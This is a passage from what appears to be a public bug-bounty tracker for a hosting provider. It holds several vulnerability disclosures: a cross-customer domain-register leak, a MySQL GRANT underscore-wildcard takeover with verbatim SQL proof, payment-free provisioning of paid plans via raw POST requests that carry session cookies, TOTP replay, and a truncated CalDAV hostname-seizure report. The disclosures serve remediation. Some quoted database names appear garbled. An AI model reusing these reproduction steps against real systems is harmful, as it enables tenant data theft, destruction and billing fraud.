I score this High rather than Critical because the primitive is read-only and does not directly modify anything. For your own triage, the exposed data is a complete core control-plane table covering your entire customer base, which appears relevant to the wording your reward table uses for the Critical band. It also includes your own infrastructure records. I leave that determination to you rather than claiming a Critical severity.
Description:
/reseller/domain/ is part of the reseller application. Seventeen other routes in the same application, including /reseller/customer/ and /reseller/ticket/notifications/, correctly reject a customer who is not a reseller with a 302 redirect to /. The /reseller/domain/ route does not perform an authorization check and instead returns the global queryset.
As a result, any person who can create a free Alwaysdata account can read the entire domain register. Signup is self-service and free.
Each row exposes four visible columns:
``` Name Account Internal Expiration date ```
Each row also contains a link that discloses two internal primary keys that are not otherwise shown on screen:
``` /reseller/customer/<customer_id>/connect/?all_permissions=1&next=/domain/<domain_id>/?_account=<account> ```
Therefore, each record exposes:
``` Domain name Owning account name Internal customer ID Internal domain ID Whether the domain is internal Expiration date ```
THE SENSITIVE PART IS THE DOMAIN-TO-ACCOUNT JOIN, NOT THE DOMAIN NAMES THEMSELVES.
A domain owned by an Alwaysdata customer is not necessarily externally identifiable as an Alwaysdata customer. Two examples from the first page of results are kept in the private annex: <DOMAIN-A> is served by Cloudflare nameservers, while <DOMAIN-B> uses myhostadmin.net nameservers. DNS, WHOIS, and certificate-transparency observations therefore do not reveal that either domain belongs to an Alwaysdata customer.
The vulnerable listing states this relationship directly, together with the account name and internal customer ID.
This is why the published carve-out concerning account names does not cover this finding. The issue is not merely disclosure of account names. It is the authoritative mapping of domains to their owning Alwaysdata accounts and internal customer IDs across the entire customer base, exposed through a single pageable list.
The ?name= parameter is also a substring filter applied across the global register rather than only against the authenticated customer's objects. This allows targeted queries such as determining whether a particular organisation, domain, or substring appears in the customer register.
IT IS NOT ONLY CUSTOMER DATA.
The register also contains Alwaysdata's own infrastructure records. From the same ordinary customer session, the following query is sufficient:
``` ?name=alwaysdata ```
It returns:
``` alwaysdata.com alwaysdata.net alwaysdata.fr alwaysdata.info alwaysdata.org ```
These are owned by the internal account "ad" and are marked Internal: yes. The same query also exposes a staff sandbox account.
The "ad" row contains a link referencing:
``` /reseller/customer/9341/connect/ ```
which discloses your internal customer ID.
alwaysdata.net is particularly relevant because it is the zone used for customers' automatically provisioned hostnames, and "ad" is the account that owns the shared zone.
This discloses internal account and infrastructure structure that is not available through a normal customer session. It is also related to the same class of disclosure addressed in FS#426 and the follow-up FS#440 .
RELATED REPORT
I am filing a separate Critical report titled "Blind Read of DKIM Private Keys via Filter Injection."
That report concerns how this view processes its query string rather than who is authorized to access the view. The two issues require independent fixes.
Adding the missing reseller authorization described here would still leave the filter-injection issue reachable by a reseller. The same filter helper is also mounted on:
``` /site/ /ssh/ /ftp/ /webdav/ /domain/ ```
where tenancy scoping currently contains the issue.
WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
A customer may be able to perform operations through their own SSH access, but that does not provide access to this dataset.
I verified this from a shell on the node. On ssh2:
``` ls /home/ ```
returns:
``` Permission denied ```
A tenant's own environment does not enumerate other customers' domains, their owning account names, or their internal customer IDs.
The exposed dataset resides in the control-plane database and is made available to any authenticated customer through this endpoint.
Vulnerable Instances:
``` GET https://admin.alwaysdata.com/reseller/domain/ GET https://admin.alwaysdata.com/reseller/domain/?page=<n> GET https://admin.alwaysdata.com/reseller/domain/?name=<substring> ```
All three are reachable by any authenticated customer. No reseller role or additional permission is required.
Steps to Reproduce:
Total cost: EUR 0.
I used three mutually independent customer logins so that no permission grant between my own accounts could explain the result.
All times are UTC, 2026-09-23.
1. Log in to https://admin.alwaysdata.com/ as an ordinary customer.
I verified the issue with three separate users, listed in the private annex as:
``` User A: account vk7research User B: account vk7victim User C: account zzr1sticky0921 ```
User C has an empty "Granted permissions" list and has no relationship with the other two accounts. This confirms that the result is not caused by a shared permission grant.
2. Request:
GET /reseller/domain/
All three independent sessions return HTTP 200 and display domain records that do not belong to me.
See the Proof of Concept below.
3. Determine the size of the exposure from the paginator rather than estimating it.
?page=1 20 data rows
?page=2178 5 data rows
?page=2179 0 data rows
Therefore:
``` 2177 x 20 + 5 = 43,545 records ```
I did not enumerate the records. I used the paginator only to establish the total bound.
4. Verify the authorization controls.
a) Authentication IS required, so this is not an unauthenticated leak:
``` Anonymous GET /reseller/domain/ ```
returns:
``` 302 to /reseller/domain/ ```
b) Sibling routes in the SAME application ARE gated:
``` GET /reseller/customer/ 302 to / GET /reseller/ticket/notifications/ 302 to / GET /reseller/ 404 GET /reseller/zzzznotreal/ 404 ```
The nonexistent route check was used as a route-existence control.
c) The customer-facing equivalent is correctly scoped:
``` GET /domain/ ```
shows only the authenticated customer's own domains.
On these accounts it returned:
``` No domain name ```
A foreign domain ID also returns:
``` GET /domain/<foreign id>/ 404 ```
The response was byte-identical to the nonexistent-object case.
Therefore, object-level authorization appears correctly enforced on the other relevant routes I tested. It is specifically this global reseller listing that is exposed.
d) The impersonation link printed in each row is NOT independently exploitable based on my testing:
``` GET /reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1 404 GET /reseller/customer/<CUSTOMER-ID-B>/connect/?all_permissions=1 404 GET /reseller/customer/999999999/connect/?all_permissions=1 404 ```
Real and nonexistent customer IDs behaved identically.
I therefore make NO account takeover claim from these links. I mention them only because the listing itself discloses the internal customer IDs.
5. I re-verified the issue at 05:45:11Z from a newly established session, logged in from scratch specifically for this check.
The endpoint still returned HTTP 200, with 20 records on page 1 and 2,178 pages containing data.
Proof of Concept:
All output below is verbatim except that customer-identifying values are replaced with placeholders. The real values are retained in the private annex because tasks on this tracker are published.
Page 1 of /reseller/domain/ as an ordinary customer:
``` Name Account Internal Expiration date <DOMAIN-A> <ACCOUNT-A> no 19/10/2025 <DOMAIN-B> <ACCOUNT-B> no 21/12/2025 <DOMAIN-C> <ACCOUNT-C> no 11/06/2026 <DOMAIN-D> <ACCOUNT-D> yes 10/07/2026 <DOMAIN-E> <ACCOUNT-E> yes 11/07/2026 (15 further rows on the page, none of them mine) ```
The row markup for the first record also contains the internal IDs:
``` /reseller/customer/<CUSTOMER-ID-A>/connect/?all_permissions=1&next=/domain/<DOMAIN-ID-A>/?_account=<ACCOUNT-A> ```
Your own infrastructure, from the same ordinary customer session:
``` ?name=alwaysdata
alwaysdata.com owner account "ad" Internal: yes alwaysdata.net owner account "ad" Internal: yes alwaysdata.fr owner account "ad" Internal: yes alwaysdata.info owner account "ad" Internal: yes alwaysdata.org owner account "ad" Internal: yes alwaysdata-test1.com owner account <STAFF-SANDBOX-ACCOUNT> ```
The "ad" row contains:
``` /reseller/customer/9341/connect/ ```
which discloses your internal customer ID.
Paginator bound:
``` ?page=1 20 data rows ?page=2178 5 data rows Total 43,545 records ```
Impact:
Any person who registers a free Alwaysdata account obtains a complete, authoritative, pageable copy of the customer-to-domain register:
``` 43,545 domains Owning account names Internal customer IDs Expiration dates Internal domain status ```
Concretely, this enables:
Competitor intelligence at whole-book scale.
The entire hosting customer base becomes queryable, including customers whose relationship with Alwaysdata is not externally visible from DNS because their domains are delegated elsewhere.
Targeted takeover preparation.
The expiration-date column identifies when domains lapse, while the account column identifies the Alwaysdata account associated with a specific business.
Account-name resolution for follow-on attacks.
The listing provides the Alwaysdata account name associated with each domain. That account name can then be correlated with Alwaysdata.net hostnames, SSH, FTP and WebDAV usernames, mail addresses, and database naming conventions.
This converts a target such as "I want to attack company X" into the corresponding Alwaysdata account for the entire customer base.
Phishing and social-engineering targeting.
The combination of domain ownership, account identity, and expiration date can be used to construct convincing renewal-related lures.
Disclosure of internal infrastructure.
The listing exposes the account that owns alwaysdata.net and the shared zone, its internal customer ID, and at least one staff sandbox account.
Customer privacy impact.
The affected data subjects are Alwaysdata customers. Some customers may be sole traders or individuals, meaning the domain-to-account mapping can constitute personal data independently of the direct security impact.
Recommendation:
1. Apply the same reseller authorization decorator already used by the correctly gated /reseller/ routes to /reseller/domain/.
This is the direct fix for the authorization defect.
2. Fix the filter injection on the same endpoint as well.
I am filing that issue separately as a Critical finding. Neither fix substitutes for the other. The authorization decorator alone would still leave the filter-injection issue reachable by an authorized reseller.
The same filter helper is also shared with:
``` /site/ /ssh/ /ftp/ /webdav/ /domain/ ```
3. Audit /reseller/subscription/ at the same time.
This is the second route in the application that did not redirect my non-reseller accounts. It returned:
``` 0 element(s) No current subscription ```
Changing the ?customer= filter did not alter the result.
I therefore make no claim about this route. However, it should be reviewed in the source code to confirm that its queryset is genuinely tenancy-filtered rather than merely empty for my accounts.
4. As defense in depth, make the reseller queryset filter explicit through the shared mixin or equivalent authorization mechanism.
The underlying risk is not only the missing authorization check on this view. Omitting the check currently results in the global queryset being returned.
5. Consider whether the row template needs to embed the internal customer ID at all.
The /reseller/customer/<id>/connect/ route is not usable by the reader based on my testing, so exposing the internal customer ID provides additional internal information without an apparent benefit to an unauthorized reader.
DISCLOSURE AND CLEANUP:
This report is entirely read-only.
I did not modify or delete anything.
I read only page 1 and page 2178 to establish the record count, along with a small number of ?name= queries quoted above. I did not enumerate the register.
I have retained nothing beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.
Customer-identifying values have deliberately been replaced with placeholders in this task because reports on this tracker are published.
Test window:
``` 2026-09-23 04:55Z to 05:45Z UTC ```
|
|
491 | Cross-Customer Database Takeover via GRANT Wildcard | Closed | 23.09.2026 |
Task Description
NAME OF VULNERABILITY
The MySQL provisioner interpolates the customer-supplied database name into:
``` GRANT ALL PRIVILEGES ON `<name>`.* ```
without escaping it.
In MySQL and MariaDB, the database component of a GRANT is a pattern in which the underscore matches any single character. As a result, a customer who creates a database named with their mandatory account prefix followed by underscores receives full read, write, and DROP rights on every database of the same length belonging to another customer whose account name begins with theirs.
—
VULNERABILITY CATEGORY
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.
Cross-customer data access on shared infrastructure.
—
CVSS
CVSS 3.1 score: 9.9 Critical
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
The issue is network reachable, trivial to perform, requires only a free self-service account, requires no user interaction, and yields confidentiality, integrity, and availability impact through SELECT, INSERT, UPDATE, and DROP access to another customer's data.
Scope is Changed because the flaw exists in the control-plane provisioner while the impacted component is the shared MariaDB instance and other tenants' data.
—
DESCRIPTION
When a customer creates a MySQL database, the control plane grants the account's database user rights on it using a statement of the form:
``` GRANT ALL PRIVILEGES ON `<database name>`.* TO `<db user>`@`%` WITH GRANT OPTION ```
In MySQL and MariaDB, the database component of a GRANT is not a literal identifier. It is a pattern, using the same wildcard semantics as LIKE.
The underscore is therefore interpreted as a single-character wildcard.
To grant privileges on a literal name containing an underscore, that underscore must be escaped as _.
Your provisioner does not escape it.
THE NAMING RULE MAKES THE PROBLEM UNAVOIDABLE
Your own naming rule requires every database name to begin with:
``` <account>_ ```
The form explicitly states:
``` "must start with: vk7research_" ```
That mandatory separator is itself the first wildcard character, so every grant you issue is already a pattern rather than a literal database name.
Normally, that is harmless because the remainder of the name is literal text.
It stops being harmless when a customer deliberately supplies additional underscores.
CROSS-CUSTOMER ACCESS
A customer who creates a database named:
``` zzr1
```
receives:
``` GRANT ALL PRIVILEGES ON `zzr1`.* TO `zzr1`@`%` WITH GRANT OPTION ```
MariaDB evaluates this as a pattern matching any database whose name is zzr1 followed by fourteen characters.
That set includes:
``` zzr1sticky0921_vic ```
which is a database belonging to a different customer on a different account.
No grant naming the victim's database is ever created, and none appears in SHOW GRANTS.
BOUNDS ON THE REACH
The reach is bounded by two things, and I state both rather than overstate the issue.
First, the database name must still begin with the attacker's own account name, so the victim's account name must have the attacker's account name as a strict prefix.
Second, the percent sign, which is the multi-character wildcard, is rejected by the name validator. Therefore, the attacker must match the victim's database name length exactly.
This costs only a few dozen databases to cover every plausible length.
Neither bound is a meaningful obstacle because the attacker chooses their own account name during free self-service signup and can register a name that prefixes their intended target.
WHY THIS IS NOT WORKING AS INTENDED
Your own interface defines the intended model, and this behavior defeats it.
The endpoint:
``` /database/add/?type=mysql ```
offers exactly three per-database permission levels for the account's database user:
``` "all rights" "read only" "no rights" ```
Per-database permissioning is therefore a control you deliberately expose.
The database used in my proof was configured with "no rights", which is the strongest setting your interface offers, and it was still fully readable, writable, and droppable.
WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
Your standing position is that a customer can already do anything over their own SSH access.
That does not apply here.
The differential is built into this report as a control.
Using the same credentials, from the same client, against the same host:
``` SELECT * FROM zzr1sticky0921_vic.secrets ```
returned:
``` ERROR 1142 SELECT command denied ```
before the wildcard database existed.
After the wildcard database existed, the same query returned the victim's row.
Nothing about network position changed.
Only the grant changed.
I also ran the shell control on the node myself, documented below.
I explicitly do NOT claim network reach to port 3306 as part of this finding.
Reachability is irrelevant and conceded.
The finding is the grant.
—
VULNERABLE INSTANCES
``` POST https://admin.alwaysdata.com/database/add/?type=mysql
Field: "name" ```
The resulting GRANT is issued on:
``` mysql-<account>.alwaysdata.net ```
Observed instance:
``` 185.31.41.41 mysql21.paris1 11.4.13-MariaDB ```
Affects MySQL and MariaDB only.
PostgreSQL and RabbitMQ are not affected. See the scope note under Recommendation.
—
STEPS TO REPRODUCE
Total cost: EUR 0.
Two accounts owned by two different users with no permission grant between them.
All times UTC, 2026-09-23.
PART 1. THE WILDCARD MECHANISM, INSIDE A SINGLE ACCOUNT
This isolates the cause.
1. On account vk7research, create database vk7research_zzv1 and set the account's database user permission on it to NONE.
Set a password on database user vk7research (ID 2046733).
2. Connect to:
```
mysql-vk7research.alwaysdata.net
```
as vk7research and record the baseline:
```
SELECT VERSION(), @@hostname, CURRENT_USER()
```
Returns:
```
('11.4.13-MariaDB', 'mysql21', 'vk7research@%')
```
SHOW DATABASES returns information_schema only, so the zzv1 database is NOT visible.
SHOW GRANTS returns:
```
GRANT USAGE ON *.*
```
Therefore, there is no database grant at all.
3. Create ONE more database named:
```
vk7research_____
```
This is the account prefix plus five underscores.
It is 16 characters long, the same length as vk7research_zzv1.
Set its permission to FULL.
4. Reconnect with the SAME credentials and repeat the SAME queries.
SHOW DATABASES returns:
```
information_schema
vk7research_____
vk7research_zzv1
```
SHOW GRANTS returns:
```
GRANT USAGE ON *.*
GRANT ALL PRIVILEGES ON `vk7research_____`.* TO `vk7research`@`%` WITH GRANT OPTION
```
There is still NO grant mentioning vk7research_zzv1.
Nevertheless, it is now visible and writable.
PART 2. THE SAME FLAW ACROSS TWO CUSTOMERS
This demonstrates the actual impact.
5. VICTIM
As user 489840 ([vk7research+l6@alwaysdata.net](mailto:vk7research+l6@alwaysdata.net)) on account zzr1sticky0921 (ID 501073), create:
```
zzr1sticky0921_vic
```
The database is 18 characters long.
Plant a canary row and confirm that it is present as the owner.
6. ATTACKER
As a DIFFERENT user (489835), register a free account named:
```
zzr1
```
This is a strict prefix of the victim's account name.
Self-service signup costs EUR 0 and requires no approval.
Set a password on its database user.
7. BASELINE AS THE ATTACKER
Before doing anything else, establish the control:
```
SELECT CURRENT_USER()
```
returns:
```
('zzr1@%',)
SHOW DATABASES
```
returns:
```
information_schema
```
Therefore, the victim's database is not visible.
```
SHOW GRANTS
```
returns:
```
GRANT USAGE ON *.*
```
Attempting:
```
SELECT * FROM zzr1sticky0921_vic.secrets
```
returns:
```
ERROR 1142 SELECT command denied to user 'zzr1'@'...' for table
`zzr1sticky0921_vic`.`secrets`
```
8. As the attacker, create ONE database named:
```
zzr1______________
```
This is zzr1 plus fourteen underscores.
It is 18 characters long, matching the victim's database name length.
Set its permission to FULL.
9. Reconnect as the attacker with the SAME credentials and repeat the SAME queries.
The victim's data is returned.
The full transcript is included in the Proof of Concept below.
10. WRITE CONFIRMED FROM THE VICTIM'S SIDE
Reconnect as the victim's own database user:
```
zzr1sticky0921
```
SELECT returns BOTH rows, including the row inserted by the attacker.
The write therefore landed in the victim's database. It is not an artifact of the attacker's session.
PART 3. THE TWO IMPACT CLAIMS
These were demonstrated rather than inferred, from 08:05Z to 08:10Z, using my own accounts.
11. DROP
With database vk7research_zzq3 created at permission NONE and one wildcard sibling created with FULL permission, using only the wildcard grant, CREATE TABLE, INSERT, and DROP TABLE all succeed on a database the grant does not name.
Destruction is real, not an inference from the words ALL PRIVILEGES.
12. PERSISTENCE VIA WITH GRANT OPTION
The attacker issues an explicit grant naming the other database and then deletes their own wildcard database.
The explicit grant REMAINS.
Access is retained.
The attacker CANNOT revoke it again.
It cleared only when the database itself was dropped.
In a real attack, this means the victim would have to destroy their own data or the provider would have to clean mysql.db directly.
—
PROOF OF CONCEPT
All output below is verbatim.
ATTACKER BASELINE, BEFORE THE WILDCARD DATABASE EXISTS, 07:14Z
``` SELECT CURRENT_USER()
('zzr1@%',)
SHOW DATABASES
(('information_schema',),)
SHOW GRANTS
GRANT USAGE ON *.* TO `zzr1`@`%` IDENTIFIED BY PASSWORD '*0023...'
SELECT * FROM zzr1sticky0921_vic.secrets
ERROR 1142 SELECT command denied to user 'zzr1'@'117.255.15.131'
for table `zzr1sticky0921_vic`.`secrets`
```
ATTACKER CREATES ONE DATABASE NAMED zzr1, THEN RECONNECTS, 07:16Z
``` SHOW GRANTS GRANT USAGE ON *.* TO `zzr1`@`%` …
GRANT ALL PRIVILEGES ON `zzr1`.* TO `zzr1`@`%` WITH GRANT OPTION
SHOW DATABASES
(('information_schema',), ('zzr1______________',), ('zzr1sticky0921_vic',))
SELECT * FROM zzr1sticky0921_vic.secrets
((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),)
SHOW TABLES IN zzr1sticky0921_vic
(('secrets',),)
INSERT INTO zzr1sticky0921_vic.secrets VALUES (2,'ATTACKER-WROTE-THIS')
OK
```
VICTIM READS BACK THE ATTACKER'S WRITE WITH ITS OWN CREDENTIALS, 07:20Z
``` SELECT * FROM zzr1sticky0921_vic.secrets
((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),
(2, 'ATTACKER-WROTE-THIS'))
```
DROP THROUGH THE WILDCARD GRANT ALONE, 08:07Z
``` SHOW GRANTS
GRANT USAGE ON *.* ...
GRANT ALL PRIVILEGES ON `vk7research_____`.* ...
(no grant names vk7research_zzq3)
CREATE TABLE vk7research_zzq3.t1 (i INT)
OK
INSERT INTO vk7research_zzq3.t1 VALUES (1)
OK
DROP TABLE vk7research_zzq3.t1
OK
SHOW TABLES IN vk7research_zzq3
empty
```
PERSISTENCE VIA WITH GRANT OPTION, 08:08Z TO 08:10Z
``` GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`
OK
(delete the WILDCARD database through the panel)
SHOW GRANTS
GRANT USAGE ON *.* ...
GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`
SHOW DATABASES
(('information_schema',), ('vk7research_zzq3',))
CREATE TABLE vk7research_zzq3.t2 (i INT)
OK
DROP TABLE vk7research_zzq3.t2
OK
REVOKE ALL PRIVILEGES ON `vk7research_zzq3`.* FROM `vk7research`@`%`
ERROR 1044 Access denied for user 'vk7research'@'%'
to database 'vk7research_zzq3'
```
SHELL CONTROL ON THE SHARED NODE, RUN BY ME, 08:12Z
``` id
uid=548819(vk7research) gid=502763(vk7research)
hostname
ssh2
ls -ld /home/zzr1sticky0921
drwxrwx--T 5 root zzr1sticky0921
ls /home/zzr1sticky0921
Permission denied
ls -d /var/lib/mysql
No such file or directory, the datadir is not on this node
mysql -h mysql-vk7research… -e 'SHOW DATABASES' with no credentials
ERROR 1045 Access denied for user 'vk7research'@'2a00:b6e0:1:50:1::1'
ls -la ~/.my.cnf
No such file or directory, no credential is planted
```
The shell therefore cannot reach another account's data through the filesystem or database without credentials.
NAME VALIDATOR CONTROLS
These were run so I would not overstate the reach.
``` vk7research%
rejected, "Enter a valid value", "must start with: vk7research_"
vk7research_%
rejected, same
vk7research\_x
rejected, same
vk7research
ACCEPTED ```
Only the underscore is usable, which is what bounds the attack to a length match.
—
IMPACT
Any person can register a free Alwaysdata account, choose a name that is a prefix of a target customer's account name, create a handful of databases whose names are that prefix followed by underscores of each plausible length, and thereby obtain SELECT, INSERT, UPDATE, DELETE, and DROP access to that customer's MySQL databases.
That means the following:
FULL DISCLOSURE OF ANOTHER CUSTOMER'S APPLICATION DATA
An attacker can read user tables, password hashes, session tables, personal data, orders, messages, and anything else stored by the victim's application.
SILENT MODIFICATION
An attacker can insert an administrator row into a victim's CMS user table and take over the victim's application, or alter financial or business records.
DESTRUCTION
I demonstrated this rather than inferring it from the words ALL PRIVILEGES.
Through a wildcard grant alone, CREATE TABLE, INSERT, and DROP TABLE all succeeded on a database that the grant does not name.
PERSISTENCE
I demonstrated this end to end.
The grant carries WITH GRANT OPTION, so the attacker can issue themselves an EXPLICIT grant naming the victim's database.
That grant survives deletion of the attacker's own wildcard database. Access is retained afterwards, and the attacker cannot revoke it again.
It is also invisible to the control plane, which continues to show the target database with its normal user count.
SILENT FROM THE VICTIM'S SIDE
It is silent on the victim's side as far as I could observe.
Nothing in the panel represents the attacker's access.
Throughout the test, the target database continued to display its normal user count, and the attacker's self-minted explicit grant appeared nowhere in the interface.
I did not have a way to inspect the victim's own SHOW GRANTS for a grant issued to a DIFFERENT user, so I limit the claim to what I observed.
ACCOUNT PREFIX RELATIONSHIPS
I make no claim about how many existing accounts already stand in a prefix relationship to one another.
Establishing that would have required harvesting your customer list, which I did not do.
It is worth checking internally, but the finding does not rest on it.
The attacker manufactures the relationship, and I demonstrated exactly that by registering zzr1 specifically because zzr1sticky0921 already existed.
—
RECOMMENDATION
1. ESCAPE WILDCARD CHARACTERS WHEN BUILDING THE GRANT
In the database component of a GRANT, the underscore must be written _ and the percent sign must be written % to be treated literally.
This is a one-line fix in the statement builder and is the actual defect.
Apply the same treatment anywhere else a customer-controlled identifier is interpolated into a GRANT or REVOKE.
2. REJECT LIKE METACHARACTERS AS A SECOND LAYER
Reject the underscore and any other LIKE metacharacter in the customer-supplied portion of the database name.
The mandatory <account>_ separator can be added by the server rather than typed by the customer, so the customer-supplied remainder never needs to contain an underscore.
3. AUDIT EXISTING GRANTS
This is the urgent part.
Any wildcard grant already issued is live right now.
Enumerate mysql.db for rows whose Db column contains an unescaped underscore that resolves to more than one existing schema, and identify any grant whose pattern matches a database owned by a different account.
4. AUDIT GRANTS CREATED THROUGH WITH GRANT OPTION
Because the grants carry WITH GRANT OPTION, also look for explicit grants that a customer may already have minted for themselves on another customer's database.
Those grants will survive the fix above because they name the victim's database literally.
Removing WITH GRANT OPTION from the provisioner's statement is also worth doing because customers do not need it.
—
SCOPE NOTE
PostgreSQL and RabbitMQ are NOT affected.
PostgreSQL privileges are recorded per object OID rather than by pattern, and I confirmed that a foreign database is refused with:
``` permission denied for database ```
with 0 of 1709 databases having a PUBLIC CONNECT ACL.
RabbitMQ vhost permissions are exact-match, and a foreign vhost is refused.
The panel's own object authorization is also correct. Foreign database IDs return 404, byte-identical to a nonexistent ID.
The defect is specifically the MySQL GRANT statement builder.
—
DISCLOSURE AND CLEANUP
Every object created for this report has been deleted, and I verified the result at the database engine rather than merely in the panel.
Both vk7research and zzr1sticky0921 now return only:
``` information_schema ```
for SHOW DATABASES and only:
``` GRANT USAGE ON *.* ```
for SHOW GRANTS.
No residual wildcard grant remains.
Deleted:
``` vk7research_zzv1 vk7research_ vk7research_zzq3 zzr1sticky0921_vic zzr1 ```
and one name-validator probe database.
The account zzr1 (ID 501523) was also deleted.
The canary table was destroyed with its database.
The single row inserted into the victim database was deleted immediately after the read-back in Step 10, and that database was then dropped entirely.
No third-party customer's data was ever read, written, or deleted at any point.
Both the attacker and the victim were accounts I own.
Passwords were set on two of my own database users during testing. I am NOT printing them in this report because these tasks are published and the credentials could accept connections from the internet.
They are in the private annex sent alongside this report and can be rotated or disregarded.
ADDITIONAL DISCLOSURE
A parallel test briefly renamed account 500763 from vk7research to webmaster and back, approximately 06:52Z to 07:03Z, overlapping the original Part 1 window.
Part 2, the cross-customer proof, was unaffected. It ran from 07:10Z to 07:20Z on two entirely different accounts after that rename had been reverted.
I nevertheless re-ran Part 1 from scratch at 07:50Z on a clean account state, and it reproduced identically.
That rename also left:
``` webmaster.alwaysdata.net ```
resolving to:
``` 185.31.41.11 ```
on multiple public resolvers while no account holds the name webmaster.
I could not remove that record.
I believe that record is mine.
TEST WINDOW
2026-09-23 06:40Z to 08:15Z UTC
|
|
490 | Paid Hosting Plan Provisioned Without Payment | Closed | 23.09.2026 |
Task Description
Severity: Critical CVSS Score 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)
Description Any authenticated user on the free tier can provision paid hosting accounts (Small, Medium, Large, X-Large) without providing payment information. The account creation form at /admin/account/add/ accepts paid product IDs and provisions full resources immediately. Additionally, existing accounts can be upgraded to any tier or downgraded to Free via the account edit form, all without payment validation.
Impact • Resource Theft: Attacker gets up to 500GB disk, 8GB RAM, 8 CPU cores for free (X-Large plan worth €1,800/year) • Infrastructure Abuse: SSH access auto-provisioned, cron jobs available for crypto mining/spam/C2 • Financial Loss: Each plan costs real money; mass abuse causes significant revenue loss • Bidirectional Manipulation: Accounts can be downgraded to Free to evade billing, then upgraded again • Repeat Exploitation: Single user account can create multiple paid accounts
Steps to Reproduce Step 1: Login to admin.alwaysdata.com with a free-tier account Step 2: Navigate to /admin/account/add/ Step 3: Submit the following POST request to create a paid account without payment: • Request — Create Paid Account (Small Plan):
POST /admin/account/add/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU Referer: https://admin.alwaysdata.com/admin/account/add/ Origin: https://admin.alwaysdata.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Length: 164 Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&name=paidtest2&password=TestPass123!&product=2008&period=1y&loc ation=datacenter_3&contract_28=on&contract_36=on
HTTP/1.1 302 Found Location: /subscription/ Server: nginx Product IDs: 2008=Small (50GB/1GB/1CPU), 2009=Medium, 2010=Large, 2011=X-Large (500GB/8GB/8CPU), 2012=Free
Step 4: Verify the subscription page confirms the paid account: GET /subscription/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o
HTTP/1.1 200 OK Object: paidtest2 | Product: Small (50GB disk, 1GB RAM, 1 CPU) | Renewal: Oct. 22, 2026 Object: xltest | Product: X-Large (500GB disk, 8GB RAM, 8 CPU) | Renewal: Oct. 22, 2026 | €1,800.00 Step 5: Upgrade existing account to X-Large without payment:
POST /admin/account/501195/ HTTP/1.1 Host: admin.alwaysdata.com Cookie: sessionid=l4ym7cidaohufmn16tt4orj8r4d4ip4o; csrftoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU Referer: https://admin.alwaysdata.com/admin/account/501195/ Content-Length: 65 Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken=MaxKixaVS8CrC8kMVND6s3QTUzv42jjU&product=2011
HTTP/1.1 302 Found Location: /subscription/ product=2011 upgrades to X-Large (€1,800/year) — no payment required
Recommendation Implement server-side payment verification before provisioning any non-free product. Validate that: (1) A valid payment method is on file, (2) Sufficient balance exists or payment is authorized, (3) The requested product change is within the customer's billing tier.
|
|
488 | TOTP Missing Single Use Enforcement | Assigned | |
Task Description
Hi,
I identified a vulnerability in the admin panel's TOTP implementation that allows the same OTP to be successfully reused multiple times within the server's approximately 90-second acceptance window.
I understand that similar TOTP-related reports have previously been submitted and closed as duplicate or invalid. In particular, in report FS#204 – “Expired TOTP Code Accepted – Broken 2FA Validation,” the following explanation was provided:
“We do accept OTP that are slightly expired to accommodate for network or human latency, as suggested in RFC 6238 Section 5.2.”
I agree that accepting a TOTP from a previous time step can be legitimate. Authenticator applications typically generate a new TOTP every 30 seconds, while the server may allow a limited tolerance window to account for network latency, clock differences, or transmission delays.
RFC 6238 Section 5.2 explicitly acknowledges this requirement:
“A validation system SHOULD typically set a policy for an acceptable OTP transmission delay window for validation.”
It further explains that the validator may compare the submitted OTP against previous timestamps within the permitted transmission-delay window. Therefore, I understand the reasoning behind allowing an OTP to remain acceptable beyond its exact 30-second generation window.
However, the vulnerability I am reporting is not simply that an older TOTP remains valid within the configured acceptance window. The issue is that after a TOTP has already been successfully used for authentication, the exact same TOTP can be reused multiple times to perform additional successful logins and establish new authenticated sessions.
RFC 6238 Section 5.2 explicitly addresses this behavior:
“The verifier MUST NOT accept the second attempt of the OTP after the successful validation”
The RFC explains that this requirement ensures one-time-only use of an OTP.
The same OTP can continue producing successful authentications until it eventually falls outside the server's acceptance window. This is different from accepting an unused OTP from a previous time step to accommodate latency.
Therefore, I am not disputing the server's use of a tolerance window. The specific issue being reported is the lack of single-use enforcement after successful TOTP validation.
Once a TOTP has successfully authenticated a user, subsequent authentication attempts using that same TOTP should be rejected, regardless of whether the code is still within the server's configured time tolerance.
I therefore request that the finding be reviewed specifically as a TOTP replay / missing single-use enforcement vulnerability, rather than solely as an expired-TOTP validation issue, and that server-side replay protection be implemented in accordance with RFC 6238 Section 5.2. I am not attaching any PoC or evidence because this issue is well know by you team but still if you require PoC let know I have a prepared script and screenshots to demonstrate it.
|
|
485 | Cross-Customer Account Takeover via CalDAV Hostname Sei ... | Closed | 21.09.2026 |
Task Description
VULNERABILITY INFORMATION:
Name of Vulnerability: An incomplete service-prefix blocklist on the account "name" field lets one customer claim the DNS record of another customer's CalDAV or CardDAV service in the shared alwaysdata.net zone.
The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account's default address does not run that check. As a result, the DNS record is silently reassigned and the victim's client can deliver its HTTP Basic credential to the attacker over Alwaysdata's own wildcard certificate.
